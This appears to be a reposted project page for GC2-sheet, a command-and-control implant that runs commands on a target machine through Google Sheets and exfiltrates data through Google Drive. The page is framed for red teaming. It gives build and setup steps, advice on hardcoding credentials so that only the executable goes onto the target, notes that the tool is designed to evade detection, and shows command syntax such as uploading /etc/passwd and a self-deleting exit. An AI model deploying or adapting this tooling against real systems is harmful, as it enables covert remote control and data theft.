GC2 - A Command And Control Application That Allows An Attacker To Execute Commands On The Target Machine Using Google Sheet And Exfiltrate Data Using Google Drive

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  • GC2 (Google Command and Control) is a Command and Control application that allows an attacker to execute commands on the target machine using Google Sheet and exfiltrates data using Google Drive.
    Why
    This program has been developed in order to provide a command and control that does not require any particular set up (like: a custom domain, VPS, CDN, ...) during Red Teaming activities.
    Furthermore, the program will interact only with Google's domains (*.google.com) to make detection more difficult.
    PS: Please don't upload the compiled binary on VirusTotal 🙂
    Set up

    1. Build executable
    git clone https://github.com/looCiprian/GC2-sheet  
    cd GC2-sheet  
    go build gc2-sheet.go
    
    1. Create a new google "service account"
      Create a new google "service account" using https://console.cloud.google.com/, create a .json key file for the service account
    2. Enable Google Sheet API and Google Drive API
      Enable Google Drive API https://developers.google.com/drive/api/v3/enable-drive-api and Google Sheet API https://developers.google.com/sheets/api/quickstart/go
    3. Set up Google Sheet and Google Drive
      Create a new Google Sheet and add the service account to the editor group of the spreadsheet (to add the service account use its email)

      Create a new Google Drive folder and add the service account to the editor group of the folder (to add the service account use its email)
    4. Start the C2
    gc2-sheet --key <GCP service account credential file .JSON > --sheet <Google sheet ID> --drive <Google drive ID>  
    

    PS: you can also hardcode the parameters in the code, so you will upload only the executable on the target machine (look at comments in root.go and authentication.go)
    Features

    • Command execution using Google Sheet as a console
    • Download files on the target using Google Drive
    • Data exfiltration using Google Drive
    • Exit
      Command execution
      The program will perform a request to the spreedsheet every 5 sec to check if there are some new commands.
      Commands must be inserted in the column "A", and the output will be printed in the column "B".
      Data exfiltration file
      Special commands are reserved to perform the upload and download to the target machine
    From Target to Google Drive  
    upload;<remote path>  
    Example:  
    upload;/etc/passwd  
    

    Download file
    Special commands are reserved to perform the upload and download to the target machine

    From Google Drive to Target  
    download;<google drive file id>;<remote path>  
    Example:  
    download;<file ID>;/home/user/downloaded.txt  
    

    Exit
    By sending the command exit, the program will delete itself from the target and kill its process
    PS: From os documentation:
    If a symlink was used to start the process, depending on the operating system, the result might be the symlink or the path it pointed to. In this case the symlink is deleted.
    WorkFlow


    Demo
    Download GC2-sheet

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